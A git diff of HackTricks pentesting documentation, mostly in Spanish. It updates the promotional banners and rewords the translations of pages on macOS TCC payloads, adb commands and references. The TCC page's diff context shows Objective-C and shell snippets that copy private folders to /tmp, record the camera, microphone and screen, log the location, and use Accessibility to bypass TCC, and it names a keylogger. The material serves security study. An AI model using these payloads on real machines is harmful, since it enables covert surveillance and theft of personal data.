plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index f4557421f..93eed46bb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,22 +1,23 @@ -# Cargas útiles de macOS TCC +# macOS TCC Payloads + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ### Escritorio -* **Privilegio**: Ninguno +* **Permiso**: Ninguno * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} @@ -65,12 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop" ### Documentos -* **Entitlement**: Ninguno +* **Permiso**: Ninguno * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} {% tab title="ObjetiveC" %} -Copiar `$HOME/Documents` a `/tmp/documents`. +Copia `$HOME/Documents` a `/tmp/documents`. ```objectivec #include #include @@ -105,7 +106,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Copiar `$HOME/`Documents a `/tmp/documents`. +Copia `$HOME/`Documents a `/tmp/documents`. ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -114,12 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents" ### Descargas -* **Entitlement**: Ninguno +* **Permiso**: Ninguno * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} {% tab title="ObjetiveC" %} -Copiar `$HOME/Downloads` a `/tmp/downloads`. +Copia `$HOME/Downloads` a `/tmp/downloads`. ```objectivec #include #include @@ -163,12 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads" ### Biblioteca de Fotos -* **Privilegio**: `com.apple.security.personal-information.photos-library` +* **Permiso**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} {% tab title="ObjetiveC" %} -Copiar `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`. +Copia `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`. ```objectivec #include #include @@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Copiar `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`. +Copia `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`. ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -212,12 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ### Contactos -* **Entitlement**: `com.apple.security.personal-information.addressbook` +* **Permiso**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} {% tab title="ObjetiveC" %} -Copiar `$HOME/Library/Application Support/AddressBook` a `/tmp/contacts`. +Copia `$HOME/Library/Application Support/AddressBook` a `/tmp/contacts`. ```objectivec #include #include @@ -261,12 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ### Calendario -* **Privilegio**: `com.apple.security.personal-information.calendars` +* **Permiso**: `com.apple.security.personal-information.calendars` * **TCC**: `kTCCServiceCalendar` {% tabs %} {% tab title="ObjectiveC" %} -Copiar `$HOME/Library/Calendars` a `/tmp/calendars`. +Copia `$HOME/Library/Calendars` a `/tmp/calendars`. ```objectivec #include #include @@ -310,12 +311,12 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars" ### Cámara -* **Privilegio**: `com.apple.security.device.camera` +* **Permiso**: `com.apple.security.device.camera` * **TCC**: `kTCCServiceCamera` {% tabs %} {% tab title="ObjetiveC - Grabar" %} -Grabar un video de 3 segundos y guardarlo en **`/tmp/recording.mov`** +Graba un video de 3s y guárdalo en **`/tmp/recording.mov`** ```objectivec #import #import @@ -393,8 +394,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="ObjectiveC - Verificación" %} -Verificar si el programa tiene acceso a la cámara. +{% tab title="ObjectiveC - Comprobar" %} +Comprobar si el programa tiene acceso a la cámara. ```objectivec #import #import @@ -427,8 +428,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Tomar una foto con la cámara -{% endtab %} +Toma una foto con la cámara ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` @@ -437,12 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ### Micrófono -* **Privilegio**: **com.apple.security.device.audio-input** +* **Permiso**: **com.apple.security.device.audio-input** * **TCC**: `kTCCServiceMicrophone` {% tabs %} {% tab title="ObjetiveC - Grabar" %} -Grabar 5 segundos de audio y almacenarlo en `/tmp/recording.m4a` +Graba 5 segundos de audio y guárdalo en `/tmp/recording.m4a` ```objectivec #import #import @@ -541,8 +541,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="ObjectiveC - Verificación" %} -Verificar si la aplicación tiene acceso al micrófono. +{% tab title="ObjectiveC - Comprobar" %} +Comprobar si la aplicación tiene acceso al micrófono. ```objectivec #import #import @@ -573,7 +573,7 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -Grabar un audio de 5 segundos y guardarlo en `/tmp/recording.wav` +Graba un audio de 5 segundos y guárdalo en `/tmp/recording.wav` ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -586,15 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ### Ubicación {% hint style="success" %} -Para que una aplicación obtenga la ubicación, **los Servicios de Ubicación** (de Privacidad y Seguridad) **deben estar habilitados**, de lo contrario no podrá acceder a ella. +Para que una aplicación obtenga la ubicación, **Los Servicios de Ubicación** (de Privacidad y Seguridad) **deben estar habilitados,** de lo contrario no podrá acceder a ella. {% endhint %} -* **Entitlement**: `com.apple.security.personal-information.location` +* **Derecho**: `com.apple.security.personal-information.location` * **TCC**: Concedido en `/var/db/locationd/clients.plist` {% tabs %} {% tab title="ObjectiveC" %} -Escribir la ubicación en `/tmp/logs.txt` +Escribe la ubicación en `/tmp/logs.txt` ```objectivec #include #include @@ -644,21 +644,21 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Obtener acceso a la ubicación +Obtén acceso a la ubicación ``` ??? ``` {% endtab %} {% endtabs %} -### Grabación de pantalla +### Grabación de Pantalla -* **Privilegio**: Ninguno +* **Permiso**: Ninguno * **TCC**: `kTCCServiceScreenCapture` {% tabs %} {% tab title="ObjectiveC" %} -Grabar la pantalla principal durante 5 segundos en `/tmp/screen.mov` +Graba la pantalla principal durante 5s en `/tmp/screen.mov` ```objectivec #import #import @@ -715,7 +715,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Grabar la pantalla principal durante 5 segundos +Graba la pantalla principal durante 5s ```bash screencapture -V 5 /tmp/screen.mov ``` @@ -724,10 +724,13 @@ screencapture -V 5 /tmp/screen.mov ### Accesibilidad -* **Privilegio**: Ninguno +* **Permiso**: Ninguno * **TCC**: `kTCCServiceAccessibility` -Utilice el privilegio TCC para aceptar el control del Finder presionando enter y así evadir el TCC. +Utiliza el privilegio TCC para aceptar el control de Finder presionando enter y eludir TCC de esa manera + +{% tabs %} +{% tab title="Aceptar TCC" %} ```objectivec #import #import @@ -781,7 +784,7 @@ return 0; {% endtab %} {% tab title="Keylogger" %} -Almacena las teclas presionadas en **`/tmp/keystrokes.txt`** +Almacenar las teclas presionadas en **`/tmp/keystrokes.txt`** ```objectivec #import #import @@ -889,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**La accesibilidad es un permiso muy poderoso**, podrías abusar de él de otras formas, por ejemplo podrías realizar el **ataque de pulsaciones de teclas** solo con eso sin necesidad de llamar a Eventos del Sistema. +**La accesibilidad es un permiso muy poderoso**, podrías abusar de él de otras maneras, por ejemplo, podrías realizar el **ataque de pulsaciones de teclas** solo con eso sin necesidad de llamar a System Events. {% endhint %} +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index 35d65eec2..b4af2e4ca 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende a hackear AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -60,16 +61,17 @@ Otras formas de apoyar a HackTricks: {% embed url="https://ippsec.rocks/" %} +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende a hackear AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index 0ba00bc80..128bb48fd 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} **Adb generalmente se encuentra en:** @@ -27,25 +28,25 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe ``` adb devices ``` -Esto listará los dispositivos conectados; si aparece "_**no autorizado**_", esto significa que debes **desbloquear** tu **móvil** y **aceptar** la conexión. +Esto enumerará los dispositivos conectados; si aparece "_**no autorizado**_", esto significa que debes **desbloquear** tu **móvil** y **aceptar** la conexión. Esto indica al dispositivo que debe iniciar un servidor adb en el puerto 5555: ``` adb tcpip 5555 ``` -Conéctese a esa IP y ese puerto: +Conéctate a esa IP y ese Puerto: ``` adb connect : ``` -Si obtienes un error como el siguiente en un software de Android virtual (como Genymotion): +Si obtienes un error como el siguiente en un software de Android Virtual (como Genymotion): ``` adb server version (41) doesn't match this client (36); killing... ``` -Es porque estás intentando conectarte a un servidor ADB con una versión diferente. Simplemente intenta encontrar el binario adb que está utilizando el software (ve a `C:\Program Files\Genymobile\Genymotion` y busca adb.exe) +Es porque estás intentando conectarte a un servidor ADB con una versión diferente. Solo intenta encontrar el binario adb que el software está utilizando (ve a `C:\Program Files\Genymobile\Genymotion` y busca adb.exe) ## Varios dispositivos -Cuando encuentres **varios dispositivos conectados a tu máquina** necesitarás **especificar en cuál** deseas ejecutar el comando adb. +Siempre que encuentres **varios dispositivos conectados a tu máquina** necesitarás **especificar en cuál** deseas ejecutar el comando adb. ```bash adb devices List of devices attached @@ -58,14 +59,14 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` -## Túnel de puerto +## Port Tunneling -En caso de que el **puerto adb** solo sea **accesible** desde **localhost** en el dispositivo Android pero **tienes acceso a través de SSH**, puedes **reenviar el puerto 5555** y conectar a través de adb: +En caso de que el **puerto** **adb** solo sea **accesible** desde **localhost** en el dispositivo android pero **tienes acceso a través de SSH**, puedes **redirigir el puerto 5555** y conectarte a través de adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` -# Gestor de paquetes +# Administrador de Paquetes ## Instalar/Desinstalar @@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb uninstall \[opciones] \ +### adb uninstall \[options] \ ```bash adb uninstall com.test.app @@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p ``` ## Paquetes -Muestra todos los paquetes, opcionalmente solo aquellos cuyo nombre de paquete contiene el texto en \. +Imprime todos los paquetes, opcionalmente solo aquellos cuyo nombre de paquete contiene el texto en \. -### adb shell pm list packages \[opciones] \ +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -117,21 +118,21 @@ adb shell pm list packages --user #The user space to quer ``` ### adb shell pm path \ -Imprime la ruta al APK del paquete dado. +Imprime la ruta al APK del dado. ```bash adb shell pm path com.android.phone ``` -### adb shell pm clear \ +### adb shell pm clear \ -Eliminar todos los datos asociados con un paquete. +Elimina todos los datos asociados con un paquete. ```bash adb shell pm clear com.test.abc ``` -# Administrador de archivos +# File Manager ### adb pull \ \[local] -Descarga un archivo especificado desde un emulador/dispositivo a tu computadora. +Descarga un archivo especificado de un emulador/dispositivo a tu computadora. ```bash adb pull /sdcard/demo.mp4 ./ ``` @@ -143,15 +144,15 @@ adb push test.apk /sdcard ``` # Captura de pantalla/Grabación de pantalla -### adb shell screencap \ +### adb shell screencap \ -Tomar una captura de pantalla de la pantalla de un dispositivo. +Tomando una captura de pantalla de la pantalla del dispositivo. ```bash adb shell screencap /sdcard/screen.png ``` -### adb shell screenrecord \[opciones] \ +### adb shell screenrecord \[options] \ -Grabando la pantalla de dispositivos con Android 4.4 (nivel de API 19) y superior. +Grabando la pantalla de dispositivos que ejecutan Android 4.4 (nivel de API 19) y superior. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -160,7 +161,7 @@ adb shell screenrecord --time-limit